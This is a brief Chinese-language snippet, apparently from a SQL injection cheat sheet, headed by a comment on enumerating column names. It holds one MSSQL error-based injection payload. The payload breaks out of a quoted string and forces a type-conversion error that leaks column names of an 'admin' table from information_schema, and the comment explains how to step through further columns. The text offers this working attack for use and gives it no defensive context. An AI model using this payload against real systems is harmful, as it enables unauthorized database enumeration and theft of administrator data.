//---------------爆破字段--------------- 要非别爆破别的字段名只要换 第2个 top 的值就可以了

　　Feihacker' union select top 1 table_name from information_schema.tables where (select top 1 cast(column_name as varchar(256)) from(select top 2 ORDINAL_POSITION,table_name,column_name from information_schema.COLUMNS where table_name='admin' order by ORDINAL_POSITION)t order by ORDINAL_POSITION desc)=0--